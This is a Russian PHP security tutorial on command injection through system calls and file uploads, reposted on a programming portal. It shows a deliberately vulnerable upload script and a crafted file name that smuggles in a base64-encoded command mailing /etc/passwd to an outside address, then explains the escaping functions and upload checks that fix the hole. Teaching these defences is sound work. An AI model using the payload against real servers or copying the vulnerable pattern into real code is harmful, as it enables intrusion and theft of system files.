Статьи PHP, Форум, Уроки PHP, дизайн, раскрутка сайта
Портал для программистов, дизайнеров, SEO - оптимизаторов.
Статьи PHP, MySQL, AJAX, Раскрутка сайта, Заработок на своем сайте
Статьи PHP, MySQL, AJAX, Раскрутка сайта, Заработок на своем сайте
TIGER ICQ 3 6 0 2 9 5 6 8 3
     
Выберите раздел
php, javascript,ajax,mysql,TIGER CMS
  Для начинающих
php, javascript,ajax,mysql,TIGER CMS
  Общие
php, javascript,ajax,mysql,TIGER CMS
  Безопасность
php, javascript,ajax,mysql,TIGER CMS
  Интересное
php, javascript,ajax,mysql,TIGER CMS
  Новости PHP
php, javascript,ajax,mysql,TIGER CMS
  PHP + AJAX
php, javascript,ajax,mysql,TIGER CMS
  JavaScript
php, javascript,ajax,mysql,TIGER CMS
  Дизайн
php, javascript,ajax,mysql,TIGER CMS
  Раскрутка
php, javascript,ajax,mysql,TIGER CMS
  Заработок
php, javascript,ajax,mysql,TIGER CMS
  Советы

Поиск
 
 
 

Друзья сайта
 
 
1. www.bvisoft.com
Онлайн счетчик
 

Статистика
  Всего статей: 405
  Опубликовано: 405
  Проверяються: 0
  Добавлено сегодня: 0
--------------------------------------
  Прочитано статей: 405
  Всего прочтений: 211210
--------------------------------------
  Сейчас читают: 3 чел.

Кнопка сайта
  Если мой сайт вам чем-то помог, поставьте, пожалуйста, на своем сайте такую кнопку:
 
  Код кнопки:
 

 

Безопасность в PHP, Часть II [Версия для печати]
Разместил: admin . Раздел: Безопасность. Опубликовано: 08-07-2007 07:45:05


В PHP предусмотрено несколько средств для выполнения системных вызовов. Ну а если подробнее, то system(), exec(), passthru(), popen() и оператор обратная кавычка [backtick] (`) позволяют выполнять команды операционной системы непосредственно из PHP-скрипта. И каждая из перечисленных функций при неадекватном использовании может предоставить злоумышленнику огромные возможности исполнения системных команд на вашем сервере. Как это было и в случае с доступом к файлам, большинство дыр появляется, когда текст команды составляется на основе небезопасных данных, полученных со стороны.

Пример скрипта, содержащего системный вызов

Представим себе скрипт, который получает файл, загруженный на сервер по http [upload-файл], сжимает с помощью zip, а потом перемещает его в определённую директорию (по умолчанию это /usr/local/archives/). Вот код:

<?php
    $zip        
"/usr/bin/zip";
    
$store_path "/usr/local/archives/";

    if (isset(
$_FILES['file'])) {
        
$tmp_name $_FILES['file']['tmp_name'];
        
$cmp_name dirname($_FILES['file']['tmp_name']) .
            
"/{$_FILES['file']['name']}.zip";
        
$filename basename($cmp_name);

        if (
file_exists($tmp_name)) {
            
$systemcall "$zip $cmp_name $tmp_name";
            
$output     = `$systemcall`;

            if (
file_exists($cmp_name)) {
                
$savepath $store_path.$filename;
                
rename($cmp_name$savepath);
            }
        }
    }
?>

<form enctype="multipart/form-data" action="<?php
    php 
echo $_SERVER['PHP_SELF'];
?>" method="POST">
<input type="HIDDEN" name="MAX_FILE_SIZE" value="1048576">
File to compress: <input name="file" type="file"><br />
<input type="submit" value="Compress File">
</form>

Несмотря на кажущуюся прозрачность скрипта, злоумышленник может использовать его в своих целях аж несколькими способами. Самое опасное место - там, где мы исполняем команду сжатия файла (обратная кавычка), а именно следующие строки:

<?php
if (isset($_FILES['file'])) {
    
$tmp_name $_FILES['file']['tmp_name'];
    
$cmp_name dirname($_FILES['file']['tmp_name']) .
        
"/{$_FILES['file']['name']}.zip";

    
$filename basename($cmp_name);

    if (
file_exists($tmp_name)) {
        
$systemcall "$zip $cmp_name $tmp_name";
        
$output = `$systemcall`;

Как обмануть скрипт и заставить его исполнять различные shell-команды

Итак, безобидность скрипта обманчива: любой пользователь, который может upload-ить файл, может и исполнять любые команды! Эта дыра в безопасности обязана своим появлением тому, как задаётся значение переменной $cmp_name. Поскольку в данном конкретном случае разработчик захотел, чтобы имя сжатого файла содержало имя upload-файла (плюс расширение .zip), было использовано значение переменной $_FILES['file']['name'] (содержащей имя upload-файла, каким оно было на клиентской машине). И вот именно в этом случае злоумышленник может полностью изменить поведения скрипта: он может загрузить файл с именем, содержащим специальные символы, интерпретируемых ОС. Например, что случится, если пользователь создаст пустой файл таким манером (из командной строки UNIX)?

[user@localhost]# touch ";php -r '$code=base64_decode(\
    "bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==\");
system($code);';"

Эта команда создаст файл с таким именем:

;php -r '$code=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
system($code);';

Странное имя, да? Правильно, это "имя" похоже на текст некой команды CLI версии PHP; команда эта выполняет следующий код:

<?php
$code
=base64_decode("bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
system($code);
?>

Если вы, из любопытства, выведете значение переменной $code, то увидите, что оно равно mail baduser@somewhere.com < /etc/passwd. И если пользователь загрузит этот файл, и наш PHP-скрипт займётся им, то когда скрипт начнёт выполнять системный вызов для сжатия файла, то на самом деле он выполнит следующую команду:

/usr/bin/zip /tmp/;php -r
'$code=base64_decode(
    "bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
system($code);';.zip /tmp/phpY4iatI

Вот и всё, то, что вы сейчас увидели, уже не одна, а три команды! Как только оболочка проинтерпретирует точку с запятой (;), означающей (поскольку не заключена в кавычки) конец одной команды и начало другой, тогда PHP-функция system() на самом деле выполнит это:

[user@localhost]# /usr/bin/zip /tmp/
[user@localhost]# php -r
'$code=base64_decode(
    "bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
system($code);'
[user@localhost]# .zip /tmp/phpY4iatI

Как вы видите, вроде бы безобидный PHP-скрипт предоставил возможность исполнения различных системных команд, в том числе и исполнение других PHP-скриптов! Конечно, этот пример сработает только на системах, где пользователь, от имени которого запущен web-сервер, имеет в своей PATH переменной CLI версию PHP (а не должен бы). Однако на том же принципе можно построить и другие способы получения подобного результата.

Как защититься от атак, связанных с системными вызовами

Главное здесь, как и раньше, никогда не доверять данным из внешних источников, какой бы ни был контекст их использования. Возникает вопрос, как же избежать подобных ситуаций при работе с системными вызовами (отказ от самих системных вызовов здесь не рассматривается). Для борьбы с этим недугом PHP предлагает две функции: escapeshellarg() и escapeshellcmd().

Функция escapeshellarg() предназначена для устранения или какого-либо игнорирования потенциально опасных символов в полученных от пользователя данных. Результат работы функции может использоваться как аргумент к системной команде (в нашем случае это zip). Синтаксис функции такой:

escapeshellarg($string)

где $string - это строка для "зачистки", а возвращаемое значение и есть "зачищенная" строка. Функция заключает строку в аргументе в одинарные кавычки и дезактивирует (то есть предваряет слэшем) все одинарные кавычки, уже содержащиеся в строке. В нашем примере, если мы добавим перед системным вызовом две строки:

<?php
$cmp_name 
escapeshellarg($cmp_name);
$tmp_name escapeshellarg($tmp_name);
?>

то мы исключим риск того, что аргумент, передаваемый в системную команду, будет проинтерпретирован только как аргумент, и никак иначе, каковы бы не были данные, предоставленные пользователем.

Функция escapeshellcmd() похожа на свою коллегу с тем исключением, что при "зачистке" будут дезактивированы символы, имеющее специфическое значение для операционной системы. В отличие от escapeshellarg() эта функция не будет как-то особенно обрабатывать строки с пробелами. Например, если мы применим escapeshellcmd() для такой строки:

$string = "'hello, world!';evilcommand"

то она станет такой:

'hello, world';evilcommand

Это может привести к нежелательному результату, если строка будет использована в качестве аргумента к системной команде, поскольку интерпретатор будет воспринимать нашу строку как два аргумента, 'hello и world';evilcommand, соответственно. Итак, если данные, предоставленные пользователем, будут использоваться в качестве части списка аргументов, то функция escapeshellarg() предпочтительнее.

Защита upload-файлов

До данного момента я говорил только о том, как злоумышленники могут компрометировать системные вызовы в PHP-скриптах. Однако в нашем примере есть ещё одна потенциальная дыра в безопасности, и о ней также стОит упомянуть. Вернёмся к нашему коду и изучим внимательно эти строки:

<?php
$tmp_name 
$_FILES['file']['tmp_name'];
$cmp_name dirname($_FILES['file']['tmp_name']) .
    
"/{$_FILES['file']['name']}.zip";

$filename basename($cmp_name);
if (
file_exists($tmp_name)) {
?>

Итак, потенциально опасный код находится в самой последней строке приведённого отрезка. В ней мы проверяем, существует ли upload-файл (который хранится под временным именем, $tmp_name). Опасность здесь исходит не от самого PHP, а от возможности того, что файл под именем $tmp_name вовсе не был загружен пользователем, а как-либо указывает на файл, который злоумышленник хочет заполучить, ну скажем, /etc/passwd. Чтобы избежать подобных ситуаций, PHP предлагает функцию is_uploaded_file(). Работа этой функции похожа на действие функции file_exists() за тем лишь исключением, что в данном случае проводится дополнительная проверка того, был ли данный файл действительно загружен с клиентской машины.

Поскольку, в большинстве случаев вам нужно куда-либо переместить upload-файл, то в дополнение к функции is_uploaded_file() в PHP есть функция move_uploaded_file(). Работает она также, как и rename() при перемещении файлов за тем лишь исключением, что в данном случае перед исполнением проводится дополнительная проверка того, что перемещаемый файл действительно был загружен с клиентской машины. Синтаксис функции move_uploaded_file() такой:

move_uploaded_file($filename, $destination);

При вызове эта функция переместит upload-файл $filename в $destination и возвратит значение типа Boolean, которое проинформирует об успешном или неуспешном завершении операции.

Источник: http://www.phpclub.ru/detail   Прочитана 747 раз.
  Закладки:  
     
     
     




     
   TIGER EMAIL tiger1989@mail.ru
online SpyLOG тИЦ и PR
Copyright 2007 by TIGERCMS.com
Powered by TIGER-News v1.1
Реклама: